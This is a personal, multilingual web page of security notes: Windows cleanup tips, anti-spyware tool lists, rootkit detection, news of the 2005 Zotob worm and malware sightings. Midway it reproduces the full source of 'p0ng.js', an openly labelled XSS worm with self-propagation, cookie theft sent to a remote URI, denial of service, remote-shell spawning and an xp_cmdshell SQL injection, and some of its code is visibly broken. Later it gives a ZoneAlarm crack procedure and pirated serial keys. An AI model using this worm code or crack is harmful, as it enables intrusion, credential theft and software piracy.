es re-omple màgicament després de esborrar-lo !
MS has hidden it very well, but it's there.
Go to Add/Remove Programs,
select Add/Remove Windows Components on the left,
select Accessories and Utilities (don't uncheck it)
and click Details...
Then select Games (don't uncheck it)
and again click Details...
Uncheck Internet Games, then click OK, OK, OK, etc.
Magically, all those evil MSN games are gone.
url
Encara no puc esborrar el directori
c:\P F\MSN Gaming Zone\windows\
Owned by : ?
Com s'esborra \xerox\nwwia ?
Com nassos s'esborra la carpeta c:\Archivos de Programa\xerox\nwwia ?
Rename all sfcfiles.dll into sfcfilesold.dll and reboot.
Com es fà això ?
url
W32.Kabel.B@mm [...] opens a back door on TCP port 58641
allowing a remote attacker to gain unauthorised access to the compromised computer.
Solució : Turn off and remove unneeded services.
Antiparásitos Ciberp@is [23/Sept/2004]
- Ad-Aware SE personal - molt bo : troba coses per tot arreu ( tots
els discs, fins i tot a la paperera ! )
- Spybot Search and Destroy
- Wetroot Spy Sweeper
- Spyware Doctor
- Bazooka Adware and Spyware Scanner
- HijackThis - molt potent i perillós !
- SpywareBlaster
- PestPatrol
- SpyRemover
- SpyKiller
URL's :
- www.download.com/Adware-Spyware-Removal
- SpyHunter -
spyhunterS.exe s'instala on li passa pels nassos !
Antiparásitos The Scream !
URL (descr),
pack.
BHOList - A front end for Tony Kleins BHO collection. Download the latest lists.
CWShredder - A tool for the removal of CoolWebSearch and it's variants.
EndItAll 2 - A modified three finger salute!
HijackThis! - Lists running processes, startups and more.
Startup CPL XP - A very useful full featured startup logger.
StartupList - Displays a list of all startup entries in Notepad.
BHO Demon - Lists all installed BHO's.
LSP-FIX - Winsock 2 repair utility.
Process Viewer - Allows you to view what's actually running.
Process Explorer XP-NT - Provides detailed information about running processes.
Spybot S&D 1.3 - Anti spyware utility.
AboutBuster 1.26 - Removes about:blank hijacks.
Registro limpio
Tras instalar W2K, el Registro contiene :
HKLM -> Software -> Microsoft -> Windows -> Current Version -> Run
Synchronization Manager mobsync.exe /logon
Clean it
from time to time !
Scan On Line
Free downloads
Debian and SucKIT
-
Info
Update
-
Fix
Use chkrootkit, debsums, skdetect
-
Kit
here
- Phrack and SucKit :
SucKIT is a root-kit presented in Phrack issue 58, article 0x07
("Linux on-the-fly kernel patching without LKM", by sd & devik)
,
here :
read it !
- Phrack and
RootKits
What is it ?
A rootkit is a malicious program
that uses system hooks
to conceal its presence on the system.
|
Just run:
# ls -li /sbin/init /sbin/telinit
Here is the output on a normal machine:
304579 -rwxr-xr-x 1 root root 26920 Mar 14 2002 /sbin/init*
304587 lrwxrwxrwx 1 root root 4 Dec 2 13:18 /sbin/telinit -> init*
Here is the output on a compromised machine:
85133 -rwxr-xr-x 1 root root 25636 Mar 26 20:03 /sbin/init
85133 -rwxr-xr-x 1 root root 25636 Mar 26 20:03 /sbin/telinit
In the second case, telinit is a real file (not a symlink) and its time is the time
of the rootkit installation. Note also the incorrect information:
both files have the same inode number but a reference count of one;
this comes from the kernel module hiding the real information.
|
Fixed in Linux 2.4.23 - SuSE 8.2 is 2.4.20 !
Neteja PC's de casa
Mitjaçant T42 & Symantec
| PC name | Deit
|
| P4 | 12/07/2008
|
| RAP | 02/08/2008
|
| HP Arcadi |
|
| HP Kayak |
|
Epidemies
|
2003
Best :
- SQL Slammer - el más eficaz
- Bugbear.B - el más dañino
- Klez.I - el más persistente
- Gibe.C - el más ingenioso
- Nachi.A - el más ladino
- Ganda.A - el más oportunista
- Sobiq.F - el más rápide
|
|
2004
Best :
- Downloader.GK trojan
- Netsky.P
- Sasser.ftp
- Gaobot.gen
- Mhtredir.gen
- Netsky.D
- Downloader.L
- Qhost.gen
- Netsky.B
- StartPage.FH
|
|
Agost 2005 [La Vanguardia, 18/08/2005]
|
Noticies
Según informa 'The New York Times'
Un virus bloquea empresas, instituciones y medios de comunicación en EE.UU.
Atacó principalmente los sistemas que operan con Windows 2000
LVD - 17/08/2005 - 09.45 horas
Washington. (EFE).-
Un virus informático del tipo gusano
atacó los sistemas que operan con Windows 2000 en empresas,
instituciones y medios de comunicación de Estados Unidos,
entre ellos las cadenas de televisión CNN y ABC
y el diario "The New York Times".
Los problemas en la CNN y en el diario neoyorquino se resolvieron
en 90 minutos y sus operaciones no se vieron afectadas,
según fuentes oficiales.
El virus también apagó ordenadores en el Congreso,
que está en receso de verano,
y causó problemas en los de la agencia de noticias Associated Press (AP)
y de la industria de maquinaria agrícola Caterpillar,
en el estado de Illinois.
Sin embargo, una fuente de la Oficina Federal de Investigaciones (FBI)
manifestó que los problemas que han surgido en los sistemas informáticos
no parecen ser parte de algún ataque generalizado.
CNN, que dijo que la infección se ha extendido a Alemania
y algunos países asiáticos, informó de que sus ordenadores
comenzaron a fallar tanto en Nueva York como en Atlanta
a partir de las 23.00 GMT,
mientras que las dificultades de ABC
fueron advertidas poco después de las 17.30 GMT.
La cadena de televisión por cable citó
las declaraciones de un experto que manifestó que
el ataque parece ser obra de un gusano informático
llamado "rbot.ebq".
Añadió que sus principales síntomas son
una repetida conexión y desconexión del ordenador.
Lysa Myers, de la firma de seguridad informática McAfee,
señaló que el gusano aprovecha
un punto vulnerable del sistema de Microsoft.
Por su parte, Johannes Ullrich, director de una firma de seguridad
informática con sede en Jacksonville (Florida),
añadió que el origen del problema puede ser el virus "zotob",
del tipo "gusano", cuya existencia fue denunciada el lunes.
Según dijo Ullrich a la CNN, este gusano se conecta a un servidor
para pedir instrucciones
y después recorre las redes con la intención de infectarlas.
Indicó que, aunque afecta principalmente al sistema Windows 2000,
también puede dañar o
interrumpir las funciones de algunas versiones anteriores de Microsoft XP.
La existencia del virus "zotob" fue denunciada el lunes en Seattle
por el gigante informático Microsoft Corp,
que indicó que su blanco son los fallos detectados en el
sistema de Windows.
La empresa de seguridad informática Trend Micro Inc.
indicó que ese "gusano" dirige
sus ataques a los sistemas Windows 95, 98, ME, NE, 2000 y las plataformas XP.
Según David Perry, experto de Trend Micro,
el gusano informático puede ser una
derivación del "zotob" y anticipó
que los daos serán "menores" y que los expertos
lograrán neutralizar al "gusano".
La semana pasada, Microsoft suministró "parches"
para resolver los problemas de seguridad del sistema.
MS05-039
Un virus deja a los medios de EE. UU. sin ordenadores
LA VANGUARDIA - 18/08/2005
Agencias. BARCELONA
Los principales medios de comunicación estadounidenses
han tenido que desempolvar sus viejas máquinas de escribir
debido a un virus informático
que ha puesto en jaque todo el sistema de ordenadores.
Un gusano se coló en el sistema informático de
empresas periodísticas tan importantes
como The New York Times, ABC y CNN,
las cuales tuvieron que recurrir a la alternativa
de la máquina para poder proseguir con su trabajo.
Los expertos creen que es una consecuencia de las guerras internas
que hay en EE. UU entre bandas piratas.
El problema comenzó a detectarse el pasado martes
cuando varias cadenas de televisión y diarios
vieron como su sistema informático sufría graves alteraciones.
Entre los gusanos inform ticos parece encontrarse el Zotob,
que comenzó su ronda por internet el fin de semana,
y nuevas variantes de Rbot y Bozori.
Aunque los entendidos no saben de dónde proceden los virus,
la firma de seguridad F-Segure,
experta en el tema,
plantea la hipótesis de que el ataque
es el resultado de la competición
entre bandas rivales de piratas informáticos.
"Parece que hay tres diferentes bandas de diseñadores de virus
que lanzan nuevos gusanos a una velocidad alarmante,
como si estuvieran compitiendo para hacerse
con el mayor número posible de máquinas
infectadas", manifestaron desde F-Secure.
Microsoft quitó hierro al asunto
y dijo que, a pesar de los problemas de organización
en los medios de comunicación,
es improbable que los códigos malignos
causen tanto caos como el que produjeron virus como MyDoom o Sobig.
MS05-039
url
The "WORM_RBOT.CBQ" worm has been detected
wintbp.exe is the host of the worm.
url
\\vir\10.1.1.115.639.pdf
Behavior blockers
Behavior blockers
/**
* @name:
+-+-+-+-+-+-+-+-+-+-+-+
P 0 N G !
+-+-+-+-+-+-+-+-+-+-+-+
* @file: p0ng.js
* @author: 0x000000, Ronald van den Heetkamp & guests
* @func: universal xss worm
* @date: 2008.01.07
*
**/
/*** string components ***/
String.prototype.urlencode = function(){
return encodeURIComponent(this);
}
String.prototype.xsplit = function(q,x) {
b = this.split(q);
return b[x];
}
String.prototype.xor = function(n) {
x = this;
y = n; x ^ y; y = x ^ y; x = x ^ y;
return x;
}
String.prototype.rand = function(n) {
n ? n = parseInt(n) : n = 1024;
return (Math.floor(Math.random () * n + 1 ));
}
String.prototype.zeroFill = function(d) {
var str = this; while (str.length < d) { str = "0" + str; }
return str;
}
String.prototype.getCharCodes = function() {
var codes = [];
for(var i=0; i<this.length;i++) {
codes.push(this.charCodeAt(i));
}
return codes;
}
String.prototype.toUnicode = function() {
var code = '';
var codes = this.getCharCodes();
for(var i=0; i<codes.length;i++) {
code += '\\u' + codes[i].toString(16).zeroFill(4);
}
return code;
}
String.prototype.toOctal = function() {
var code = '';
var codes = this.getCharCodes();
for(var i=0; i<codes.length;i++) {
code += '\\' + codes[i].toString(8);
}
return code;
}
String.prototype.toHex = function() {
var code = '';
var codes = this.getCharCodes();
for(var i=0; i<codes.length;i++) {
code += '\\x' + codes[i].toString(16);
}
return code;
}
/*** array components ***/
Array.prototype.in_array = function(str) {
ret = false;
for (i=(this.length-1); i>=0; i--) {
if (this[i] == str) {
ret = true;
}
}
return ret;
}
/*** worm auto-append component ***/
function worm(uri) {
w = document.createElement('script');
uri ? u = uri : u = window.location.href;
w.src = u;
try {
document.getElementsByTagName('head')[0].appendChild(w);
} catch(ex) {
document.getElementsByTagName('body')[0].appendChild(w);
}
};
/*** worm XHR object ***/
function xhr() {
var xhtp,xml,s;
try { xhtp = new XMLHttpRequest(); s=true; } catch(ex) {
xml = ['MSXML2.XMLHTTP','MSXML2.XMLHTTP.3.0','MSXML2.XMLHTTP.4.0',
'MSXML2.XMLHTTP.5.0','MSXML2.XMLHTTP.6.0','MSXML2.XMLHTTP.7.0'];
for (i=(xml.length-1) && !s; i>=0; i--) {
try { xhtp = new ActiveXObject(xml[i]); s=true; } catch(ex) { s=false; }
}
}
return xhtp;
};
Object.prototype.post = function(uri,arg) {
/*** usage: xhr().post('foo.php'); ***/
this.open('POST', uri, true);
this.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
this.setRequestHeader('Content-length', arg.length);
this.setRequestHeader('Connection', 'close');
this.send(arg);
};
Object.prototype.get = function(uri,argv) {
/*** usage: xhr().get('foo.php'); ***/
this.open('GET',uri,true);
this.send (argv);
this.onreadystatechange = function () {
if (this.readyState == 4) {
if (this.status == 200) {
var xmlget = this.responseText;
}
}
};
this.send(argv);
return xmlget;
};
/*** DOM storage component ***/
Object.prototype.domstore = function(url,name,obj) {
try {
globalStorage[''].name=obj; s=false;
} catch(ex) {
url? globalStorage[url].name=obj:globalStorage[document.domain].name;
sessionStorage.name = obj;
s=true;
}
return s;
};
/*** charset information ***/
Object.prototype.charset = function () {
document.charset ? c = document.charset: c = false;
return c;
};
/*** event attach component ***/
Object.prototype.eventer = function(type,listener,useCapture) {
try { this.addEventListener(type,listener,useCapture);
ret = true;
} catch(ex) { var ret = this.attachEvent('on' + type, listener);
ret = true;
}
return ret;
};
/*** form submitting component ***/
Object.prototype.fillform = function(data) {
for(j = 0; j < document.forms.length; ++j) {
xform = document.forms[j];
for(i = 0; i < xform.elements.length; ++i) {
xform.elements[i].value = data;
}
}
};
/*** form hiddenfield submitting component ***/
Object.prototype.fillhidden = function(data) {
for(j = 0; j < document.forms.length; ++j) {
xform = document.forms[j];
for(i = 0; i < xform.elements.length; ++i) {
if(xform.elements[i].type == 'hidden') {
xform.elements[i].value = data;
}
}
}
};
/*** element array component ***/
Object.prototype.elements = function(arg) {
var elems =[];
for (i=0;i<arg.length;i++) {
var e = arg[i];
e = document.getElementById(e);
elems.push(e);
}
return elems;
};
/*** document links component ***/
Object.prototype.links = function() {
rl = [];
lk = document.links;
for(y=0;y<lk.length;++y) {
rl.push(lk[y]);
}
return rl;
};
/*** query parts component ***/
Object.prototype.queryparts = function(uri) {
k = [];
uri?uri=uri:uri=window.location.href;
(uri.indexOf('?')==-1)?i=0:i=1;
if(i) {
//uri = uri.search(/\?/)
j = uri.split("&");
for(i=1;i<j.length;i++) {
j[i] = j[i].replace(/=(.*)/,'');
k.push(j[i]);
}
} else {
k = 0;
}
return k;
};
/*** cookie logger component ***/
Object.prototype.logcookie = function(uri) {
var img = document.createElement('img');
document.appendChild(img);
img.src = uri + "?c="+escape(document.cookie)+"q="+rand();
};
/*** color calculating component ***/
Object.prototype.visited = function(color) {
c = color;
if (this.currentStyle) {
var x = this.currentStyle['color'];
} else if (window.getComputedStyle) {
var x = document.defaultView.getComputedStyle(this,null).getPropertyValue('color');
}
if(c == x) { res = true; } else { res = false; }
return res;
};
/*** most clicked links estimater ***/
Object.prototype.estimate = function(color) {
var link_array = [];
for(i in links()) {
if(i.visited(color)) {
link_array.push(i);
}
}
return link_array;
}
/*** denial of service trigger ***/
Object.prototype.dos = function() {
this.onfocus = function() {d()}
this.onblur = function() {d()}
function d() {
for(i=0;i<800;i++) {
url = window.location.href;
uri = document.location = url;
if (!uri.closed && url.location) {
document.location = url;
}
}
}
};
/*** remote shell spawning component ***/
Object.prototype.spawnshell = function(uri) {
shell = uri + 'shell.php?';
var gateways = ['base_path','theme_path','cmd','dir','req_path','template','base_path','page',
'systempath','phpbb_root_path','returnpath','inc_dir','include','CONFIG[path]','inc','main_path',
'mosConfig_absolute_path','basepath','configFile'];
for(i=0;i<gateways.length;++i) {
xhr().get(document.domain + '?',gateways[i] + '=' + shell);
}
};
/*** hit & run shellspawner ***/
Object.prototype.hitandrun = function(uri) {
shell = uri + 'shell.php?';
var gateways = [];
var l = links();
for(j = 0; j < l.length; ++j) {
gateways.push(queryparts(l[j]))
}
for(i = 0; i < gateways.length; ++i) {
xhr().get(document.domain + '?',gateways[i] + '=' + shell);
}
};
/*** SQL injecter component pOc ***/
Object.prototype.sqlinject = function(vuln_uri,ftpip) {
seq = "1'; exec master..xp_cmdshell 'echo open "+ftpip+" 21 >> %systemroot%\inetpub\wwwroot\p0ng.js';";
seq += "exec master..xp_cmdshell 'echo user foo bar >> %systemroot%\inetpub\wwwroot\p0ng.js';";
seq += "exec master..xp_cmdshell 'echo get %systemroot%\inetpub\wwwroot\p0ng.js >>";
seq += "%systemroot%\inetpub\wwwroot\p0ng.js';";
seq += "exec master..xp_cmdshell 'echo quit >> %systemroot%\inetpub\wwwroot\p0ng.js';";
seq += "exec master..xp_cmdshell 'ftp -i -n -v -s: %systemroot%\inetpub\wwwroot\p0ng.js';";
try {
xhr().get(vuln_uri+seq)
} catch(ex) {
return false
}
};
/*** source morphing component ***/
String.prototype.toVariables = function() {
var code = this;
var operators = ['>','<','&','&&','|','||','%','==','!=','===','!=='];
var operator = operators[Math.floor(Math.random()*operators.length)];
var number1 = Math.floor(Math.random()*10);
var number2 = Math.floor(Math.random()*10);
var statement = number1+operator+number2;
var concatStr = '';
if(eval(statement) == true) {concatStr += statement; } else {
concatStr += '!' + statement; }
concatStr += "?'s1':0";
var customConcat = concatStr;
var separateStatements = ',';
var variablePrefixes = ['b2_','x2_','$_','x_','s_'];
var pos = Math.floor(Math.random()*variablePrefixes.length);
var varName = variablePrefixes[pos];
var vector = concatStr;
var concatString = '';
for(var i=0; i<code.length;i++) {
concatString += (varName + i + '=') + vector.replace("s1", code.charAt(i)) + separateStatements;
}
concatString += '' + varName + (i++) + '=';
for(var i=0; i<code.length;i++) {
concatString += (varName + i);
if(i + 1 < code.length) {
concatString += '+';
}
}
return concatString;
}
Object.prototype.morph = function(s) {
var source = s;
var m = ['unicode','charcodes','octal','hex','urlencode','variables'];
var pos=Math.floor(Math.random() * m.length);
morphtype = m[pos];
source = morphselection(source,morphtype);
return;
}
switch(morphtype) {
case "unicode":source = "eval('"+ source.toUnicode() + "')"; break;
case "charcodes":source = 'eval(String.fromCharCode(' + source.getCharCodes() + '))'; break;
case "octal":source = "eval('"+ source.toOctal() + "')"; break;
case "hex":source = "eval('"+ source.toHex() + "')"; break;
case "urlencode":source = "eval(unescape('"+ escape(source) + "'))"; break;
case "variables":source = source.toVariables(); break;
}
return source;
};
Object.prototype.morphselection = function(source,morphtype) {
switch(morphtype) {
case "unicode":source = matchUnicode(source); break;
case "octal":source = matchOctal(source); break;
case "hex":source = matchHex(source); break;
case "urlencode":source = matchUrlencode(source); break;
case "charcodes":source = matchCharcodes(source); break;
case "variables":source = matchVariables(source); break;
}
return source;
};
Object.prototype.matchVariables = function(source) {
source = source.replace(/(['])([^']+)(['])/,
function($0, $1, $2, $3) { return $2.toVariables() } );
source = source.replace(/(["])([^"]+)(["])/,
function($0, $1, $2, $3) { return $2.toVariables() } );
return source;
};
Object.prototype.matchCharcodes = function(source) {
source = source.replace(/(['])([^']+)(['])/,
function($0, $1, $2, $3) { return 'String.fromCharCode(' + $2.getCharCodes() + ')' } );
source = source.replace(/(["])([^"]+)(["])/,
function($0, $1, $2, $3) { return 'String.fromCharCode(' + $2.getCharCodes() + ')' } );
return source;
};
Object.prototype.matchUrlencode = function(source) {
source = source.replace(/(['])([^']+)(['])/,
function($0, $1, $2, $3) { return 'unescape(\'' + escape($2) + '\')' } );
source = source.replace(/(["])([^"]+)(["])/,
function($0, $1, $2, $3) { return 'unescape("' + escape($2) + '\")' } );
return source;
};
Object.prototype.matchOctal = function(source) {
source = source.replace(/(['])([^']+)(['])/,
function($0, $1, $2, $3) { return $1 + $2.toOctal() + $3 } );
source = source.replace(/(["])([^"]+)(["])/,
function($0, $1, $2, $3) { return $1 + $2.toOctal() + $3 } );
return source;
};
Object.prototype.matchHex = function(source) {
source = source.replace(/(['])([^']+)(['])/,
function($0, $1, $2, $3) { return $1 + $2.toHex() + $3 } );
source = source.replace(/(["])([^"]+)(["])/,
function($0, $1, $2, $3) { return $1 + $2.toHex() + $3 } );
return source;
};
Object.prototype.matchUnicode = function(source) {
source = source.replace(/(\\[uU][\w\d]{4})?(\w*)([\s(]?)/,
function($0, $1, $2, $3) { return $1 + $2.toUnicode() + $3 } );
source = source.replace(/(['])([^']+)(['])/,
function($0, $1, $2, $3) { return $1 + $2.toUnicode() + $3 } );
source = source.replace(/(["])([^"]+)(["])/,
function($0, $1, $2, $3) { return $1 + $2.toUnicode() + $3 } );
return source;
};
URL
RV has Google Redirect (20120213)
- c:\windows\system32\drivers\atapi.sys :
Hitman pro 3.5
-
c:\WINDOWS\system32\drivers\etc\hosts file
Els meus dubtes
- com llençar el Filemon just quan entra un usuari ?
- com detectar un BACKDOOR ?
- com visualitzar la llista de MUTEX ?
- puc fer servir el MD5 ?
Algunes respostes
Adding a new service is the most common technique
to disguise backdoors in the Windows operating system.
This requires involving tools such as
Srvany.exe and Srvinstw.exe that comes with the Resource Kit utility
and also with Netcat.exe [1].
The principle of this operation is
that the srvany.exe tool is installed as a service
and then permits netcat.exe to run as a service.
The latter, in turn,
listens on an appropriate port for any connection.
Once connected, it will have spawned a remote
shell on the server (using cmd.exe)
and from this moment onwards, a hacker has free reign.
url
Coses per llegir
-
Llarg i complert
-
If HiJackThis fails to display any suspicious entires
and you still believe that you are infected,
Filemon is the next best tool to use.
URL
Links
-
uSoft
security bulletins updates summary (Dec 2004) ...
All
bulletins
-
http://www.malwarebytes.org/ -
removes all forms of malware, including viruses, Trojans, spyware, adware and rootkits.
-
Fonts de Bombers, Troyans, etc
-
Antivirus :
URL ;
top 10 2011 ;
- Get
some
- SSH crc32
analysis
- Sylvio
home,
Phrack usual.
-
Nice links
page :
"lsass.exe terminated, system will shutdown"
-
Spend some
time
-
Google i
All The Web
-
Tinet
-
Back to main page
- Site
map
- Dangerous
site :
instala HobbyHacker(241-hobby-1-0-#3).exe
- Span tree
[ ...
... ]
by
- Subscribe
teens
-
Closed ? [wzor]
- svchost.exe description :
- Zone Alarm Pro 4 crack :
Slow !
Close ZoneAlarm.
Open up your registry editor [regedit or regedt32].
Go to the following key:
HKEY_CURRENT_USER\Software\Zone Labs\ZoneAlarm
In the right pane, you will see CfgMain, double click that.
Use your keyboard's arrow keys to downwards until you reached 0028.
On line #6 (0028), press the right arrow key 5 times, then hit Backspace.
After you are done the step above, type 00 on your keyboard.
Then click OK.
Restart ZoneAlarm...
Try
m64m2-235hf-aiga7-f63xau-7acpq0
and
38cti-bqf8g-x9jnr-tfth7c-3iuS40
Lunatic (IE only)
says [4.5.538] :
fkqtv rm9b1 vi0kj 5c4wc1 783ac0
Prog (2.6.84) +
serial
- 11/06/03 : trojan scan from 9.172.200.135:2170, SPA87844:WORKGROUP
- 17/02/05 :
Al carregar la pàgina
http://www.crackz.ws/k1.htm
m'intenta executar ... cmb_243461.exe
- Tinc
- WORM_NETSKY.B in information.zip
- WORM_NETSKY.B in misc.zip
- WORM_NETSKY.B in msg.com
- WORM_NETSKY.B in nomoney.pif
- WORM_NETSKY.B in note.rtf.pif in note.zip
- WORM_NETSKY.B in object.com
- WORM_NETSKY.B in product.htm.pif in product.zip
- WORM_NETSKY.B in topseller.zip
- WORM_NETSKY.B in stuff.scr in stuff.zip
- WORM_NETSKY.B in me.com in me.zip
- WORM_NETSKY.B in nomoney.exe
- TEEKIDS.EX al P4 (c:\windows\system32\ !)
-
Trend Micro
-
OpenRCE :
WinEggDropShell injects a DLL into the winlogon.exe process.
The DLL is packed by EXE32Pack v1.38 on top of Aspack.
Tell OllyDbg this is an executable, not a DLL.
Load our target DLL into Stud_PE (Hex Viewer).
,
-
Virus Total : análisis de ficheros.
-
Tools
-
19/10/2007 :
uSoft actually recommends the following malware scanning (free) tools:
- avast! Virus cleaner
- McAfee AVERT Stinger
- Malicious Software Removal Tool (MS)
- Spybot - Search & Destroy
-
SpamThru :
has own
AntiSpam
-
Detector de bots :
RUBotted
-
AV
comparatives
-
A la Dipu tenen ...
StuxNet !
-
Virus Total : send them suspicious files ....